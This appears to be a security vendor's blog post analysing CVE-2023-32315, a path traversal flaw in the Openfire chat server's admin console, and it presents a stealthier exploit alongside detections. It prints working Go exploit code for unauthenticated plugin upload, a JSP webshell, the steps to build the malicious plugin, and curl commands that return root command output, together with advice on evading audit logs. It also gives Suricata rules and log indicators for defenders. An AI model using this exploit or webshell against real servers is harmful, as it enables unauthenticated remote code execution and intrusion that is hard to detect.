Introduction
CVE-2023-32315 is a path traversal vulnerability affecting the Openfire admin console. Openfire is a well-known open-source chat server, and according to the current maintainers, Ignite Realtime, the server software has been downloaded almost 9 million times.
This vulnerability has flown under the radar on the defensive side of the industry. CVE-2023-32315 has been exploited in the wild, but you won’t find it in the CISA KEV catalog. There has also been minimal discussion about indicators of compromise and very few detections (although to their credit, Ignite Realtime put out patches and a great mitigation guide back in May).
On the offensive side, things have been more robust. You can find quite a few public exploits. There are some major differences between these exploits, but generally, they all follow a simple pattern: Use the path traversal to create an administrative user, log in, and then upload a plugin to achieve code execution. This process is typically manual, although Metasploit uploads the plugin programmatically).
What’s particularly interesting about this is that creating the administrative user isn’t necessary, but it’s re-implemented over and over again. Worse, not only is it not required, but it significantly increases the amount of logging the attacker introduces.
In this blog, we’ll demonstrate an improved exploit for CVE-2023-32315, learn how to craft an Openfire plugin webshell, examine indicators of compromise, and share network detections.
Real World Impact
To start, we want to establish that this vulnerability is still prevalent in the wild. At the time of writing, we see approximately 6,300 servers on Shodan. Censys shows a bit more, but it doesn’t follow the redirect to login.jsp
making the queries a little more dicey.
Openfire exposes the installed version on the login page. To determine just how widely exploitable this vulnerability is, we did a version scan of the servers on Shodan. Openfire put out three patched versions: 4.6.8, 4.7.5, and 4.8.0. Approximately 20% of the servers had upgraded to those versions.
Openfire Versions Indexed by Shodan
This doesn’t mean the remaining 80% are using affected versions. Openfire says the first affected version is 3.10.0, released in April 2015. Any version released before then is not vulnerable, and these older versions make up nearly 25% of the internet-facing Openfire servers. Of those, the most popular version is 3.7.1,released in 2011. You could assume those are mostly honeypots, but we can’t be sure.
We found there are a variety of Openfire forks that may or may not be vulnerable, making up about 5% of the internet-facing servers. This leaves approximately 50% of the internet-facing Openfire servers using affected versions. While that’s only a few thousand servers, it's a decent number given the server’s trusted position associated with chat clients.
Impacts of a User-less Exploit
Current public exploits start by using the traversal to reach user-create.jsp
to create an administrative user. There are quite a few exploits at this point, but as far as I can tell, the first public exploit to establish an admin user was published on June 14 as tangxiaofeng7/CVE-2023-32315-Openfire-Bypass on GitHub (at least five days after the first in-the-wild exploitation). Written in Go, the admin creation looks like this:
username := generateRandomString(6)
password := generateRandomString(6)
createUserUrl := fmt.Sprintf("%s/setup/setup-s/%%u002e%%u002e/%%u002e%%u002e/user-create.jsp?csrf=%s&username=%s&name=&email=&password=%s&passwordConfirm=%s&isadmin=on&create=%%E5%%88%%9B%%E5%%BB%%BA%%E7%%94%%A8%%E6%%88%%B7", t, csrf, username, password, password)
res, err = rawhttp.Get(createUserUrl)
m := map[string][]string{"Cookie": {"JSESSIONID=" + jsessionid, "csrf=" + csrf}}
res, err = rawhttp.DoRaw("GET", createUserUrl, "", m, nil)
if err != nil {
fmt.Println(err)
return
}
Note that create=
is followed by a bunch of URL encoded characters. They translate to 创建用户or “create user”. For detection purposes, it’s important to know this isn’t a reliable value, as OpenFire supports a variety of languages. For example, Metasploit sends this exact same admin creation request, but it’s slightly different. Here is Metasploit’s request on the wire (these requests can be POST requests, but both implementations opted for GET for whatever reason):
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=5QQN6JwEVq9LIW1&username=hqvvvarefibpfx&password=Qm7y4eZgU9&passwordConfirm=Qm7y4eZgU9&isadmin=on&create=Create%2bUser HTTP/1.1
Host: 10.9.49.143:9090
User-Agent: Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1
Cookie: JSESSIONID=node06x26aqm77cqelg1crrhtstts10.node0; csrf=5QQN6JwEVq9LIW1
Content-Type: application/x-www-form-urlencoded
These exploits are creating an admin user to gain access to the Openfire Plugins interface. The plugin system allows administrators to add, more or less, arbitrary functionality to Openfire via uploaded Java JARs.
This is, very obviously, a place to transition from authentication bypass to remote code execution.
The tangxiaofeng7 exploit repository contains an Openfire plugin with a JSP webshell. Once the attacker has created administrative credentials, they can log in, upload tangxiaofeng7’s plugin, and gain access to a webshell. Similarly, the Metasploit module’s plugin is uploaded but initiates a reverse shell instead of a webshell.
Real-world attackers have followed this approach as well. For example, we know the Kinsing botnet likely followed this approach based on comments from the Ignite Realtime forums.
Fortunately for defenders, the admin user creation is noisy. Another user on the forum posted the Openfire security audit log after they’d been exploited (note that the audit log doesn’t disappear just because the system log file has been deleted):
Unfortunately for defenders, attackers don’t need to create a user or authenticate to upload a plugin. CVE-2023-32315 gives the attacker access to plugin-admin.jsp
, just as it gives the attacker access to user-create.jsp
. So when we wrote our exploit, we opted for a user-less approach. We extracted a JSESSIONID
and CSRF token from /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp
and then executed the following logic from our go-exploit-based exploit:
func uploadWebshell(conf *config.Config, token string, session string) bool {
// webshell is uploaded as a multipart upload
var multipartFile bytes.Buffer
writer := multipart.NewWriter(&multipartFile)
header := make(textproto.MIMEHeader)
header.Set("Content-Disposition", `form-data; name="uploadfile"; filename="exampleplugin.jar"`)
header.Set("Content-Type", "application/x-java-archive")
// copy the webshell into the writer
filedata, _ := writer.CreatePart(header)
_, _ = io.Copy(filedata, strings.NewReader(webshell))
writer.Close()
// upload it
headers := map[string]string{
"Cookie": fmt.Sprintf("JSESSIONID=%s;csrf=%s", session, token),
"Content-Type": writer.FormDataContentType(),
}
// create a normal request. Go does not like the %u in their standard req, so create a
// normal request and then insert the malformed URI into the URL struct
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
client, req, err := protocol.CreateRequest("POST", url, multipartFile.String(), false)
if err {
return false
}
req.URL.Opaque = "/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?uploadplugin&csrf=" + token
protocol.SetRequestHeaders(req, headers)
resp, _, ok := protocol.DoRequest(client, req)
if !ok {
return false
}
if resp.StatusCode != 500 {
output.PrintfError("Expected 500 response: %d", resp.StatusCode)
return false
}
return true
}
As you can see, we are just uploading the plugin JAR via a POST request (and working around a bit of Go-foolishness associated with the %u002e
in the URI). Without authentication, the plugin is accepted and installed. The webshell can then be accessed, without authentication, using the traversal. For example:
curl -v "http://10.9.49.143:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/plugins/exampleplugin/exampleplugin-page.jsp?cmd=whoami"
This approach keeps login attempts out of the security audit log and prevents the “uploaded plugin” notification from being recorded. That’s a pretty big deal because it leaves no evidence in the security audit log. For example, this is the security audit log for a system we exploited:
As you can see, there is absolutely nothing to indicate anything is amiss.
The actual openfire.log file tells a different story (depending on your installation, it may be found at /mnt/openfire/logs/openfire.log
). You can find these important indicators in this log file:
2023.08.18 17:19:49 [33mWARN [m Jetty-QTP-AdminConsole-39: org.eclipse.jetty.server.handler.ContextHandler.ROOT - Unhandled exception occurred whilst decorating page java.lang.NullPointerException: Cannot invoke "org.jivesoftware.openfire.user.User.getUsername()" because the return value of "org.jivesoftware.util.WebManager.getUser()" is null
2023.08.18 17:19:49 [33mWARN [m Jetty-QTP-AdminConsole-39: org.eclipse.jetty.server.HttpChannel - /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp java.lang.NullPointerException: Cannot invoke "org.jivesoftware.openfire.user.User.getUsername()" because the return value of "org.jivesoftware.util.WebManager.getUser()" is null
Unfortunately, an attacker could use the path traversal to delete the log file. Depending on the permissions of the Openfire user, the attacker might be able to delete the log file via the webshell/reverse shell,which leaves the plugin itself as the only artifact that indicates exploitation. This is why it's important to know how one is crafted when analyzing a system that might have been exploited.
We were very lazy when crafting our plugin. We just used the Openfire example plugin. The only modification we made was to /src/main/web/exampleplugin-page.jsp
when we changed the JSP into a very simple webshell (with a weird X-Header that we’ll touch on later).
<%
String cmd = request.getParameter("cmd");
if ( cmd != null) {
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
String line = in.readLine();
if (line != null) {
response.setHeader("X-Error", line);
}
} %>
The real challenge was figuring out how to compile the thing (it probably should have been obvious, and we think we even came to a wrong conclusion… but it works). Our process roughly worked out to:
git clone https://github.com/igniterealtime/openfire-exampleplugin.git
cd openfire-exampleplugin
cp ../webshell.jsp ./src/main/web/exampleplugin-page.jsp
mvn -B package
cp ./target/exampleplugin.jar exampleplugin.zip; zip -ur exampleplugin.zip ./plugin.xml ./readme.html; mv exampleplugin.zip ./target/exampleplugin.jar;
./target/exampleplugin.jar
is then ready to be uploaded. It’s important to know that the plugin does not keep the webshell in its raw form. The webshell gets compiled into a class. So if you want to go hunting for the webshell, you have to dig much deeper than normal.
Once uploaded, the plugin looks exactly like the example plugin would. The only difference is that it has our webshell in it.
As previously mentioned, the attacker is free to use the webshell without authentication by using the traversal. However, using the traversal causes an exception and a stack trace to be dumped to standard out, preventing the webshell from presenting any content via the HTTP response body.
Looking back at our webshell, you can see that we send all command output to an HTTP header. Which means even though accessing the webshell via the path traversal generates a huge error message, we can still execute and view arbitrary commands:
albinolobster@mournland:~$ curl -v "http://10.9.49.143:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/plugins/exampleplugin/exampleplugin-page.jsp?cmd=id"
* Trying 10.9.49.143:9090...
* TCP_NODELAY set
* Connected to 10.9.49.143 (10.9.49.143) port 9090 (#0)
> GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugins/exampleplugin/exampleplugin-page.jsp?cmd=id HTTP/1.1
> Host: 10.9.49.143:9090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 18 Aug 2023 17:20:01 GMT
< X-Frame-Options: SAMEORIGIN
< Content-Type: text/html
< Set-Cookie: JSESSIONID=node07guewb33cw4m1va20g1n0okxd6.node0; Path=/; HttpOnly
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Error: uid=0(root) gid=0(root) groups=0(root)
< Content-Length: 6335
<
From there you can trivially pivot inward, remove the webshell, and hide within the system. All without creating the administrative user and making a mess in the log files.
Detections
Any good attacker should know how to detect as well. VulnCheck is particularly interested in network-based detections. Detecting this attack on the wire isn’t too complicated, but there is some nuance.
Suricata correctly normalizes the %u002e%u002e/
as a path traversal. That sounds great, and naively a rule look the following rule can be crafted to detect all of the public exploits we’ve seen thus far:
alert http any any -> any any ( \
msg:"VULNCHECK Openfire CVE-2023-32315 Exploit Attempt"; \
flow:established,to_server; \
http.uri.raw; content:"/setup/setup-s/"; startswith; \
http.uri; content:!"/setup/setup-s/"; startswith; \
reference:cve,CVE-2023-32315; \
classtype:web-application-attack; \
sid:12701381; rev:1;)
The problem is that it's really easy to bypass. For example, if the attacker just started the URI with /./
then it will break the rule. Or /setup/./setup-s/
. Plenty of little tricks like that. So this “good enough” rule should really be augmented with additional rules just in case someone wants to get clever:
alert http any any -> any any ( \
msg:"VULNCHECK Openfire CVE-2023-32315 Exploit Attempt (Account)"; \
flow:established,to_server; \
http.uri.raw; content:"setup"; \
content:"setup-s"; distance: 1; \
content:"%u002e"; distance: 1; \
content:"user-create.jsp"; distance: 1; \
reference:cve,CVE-2023-32315; \
classtype:web-application-attack; \
sid:12701382; rev:1;)
alert http any any -> any any ( \
msg:"VULNCHECK Openfire CVE-2023-32315 Exploit Attempt (Plugin)"; \
flow:established,to_server; \
http.uri.raw; content:"setup"; \
content:"setup-s"; distance: 1; \
content:"%u002e"; distance: 1; \
content:"plugin-admin.jsp"; distance: 1; \
reference:cve,CVE-2023-32315; \
classtype:web-application-attack; \
sid:12701383; rev:1;)
Detection after exploitation is much more challenging since the attack, if done correctly, can entirely avoid the security audit log. The next best source of truth is any new/unexpected plugins on the system. Generally, however, someone will need to look at that with a Java decompiler, which isn’t useful for a layperson.
The final source to examine is probably the openfire.log
file (which might get deleted). The telltale indication of exploitation in the log file will be long stack traces associated with:
"org.jivesoftware.openfire.user.User.getUsername()" because the return value of "org.jivesoftware.util.WebManager.getUser()" is null
Summary
In this blog, we demonstrated a new way to exploit CVE-2023-32315. This method avoids creating an admin user and bypasses some important security logging. Given that, we identified potential areas to identify compromise (JAR file, openfire.log
) and provided a general outline of what indicators to look for.
This vulnerability has already been exploited in the wild, likely even by a well-known botnet. With plenty of vulnerable internet-facing systems, we assume exploitation will continue into the future.
Learn More
If you are as interested in exploits as we are, register for a VulnCheck account today by clicking “Sign in / Join Community and schedule a demo to learn more.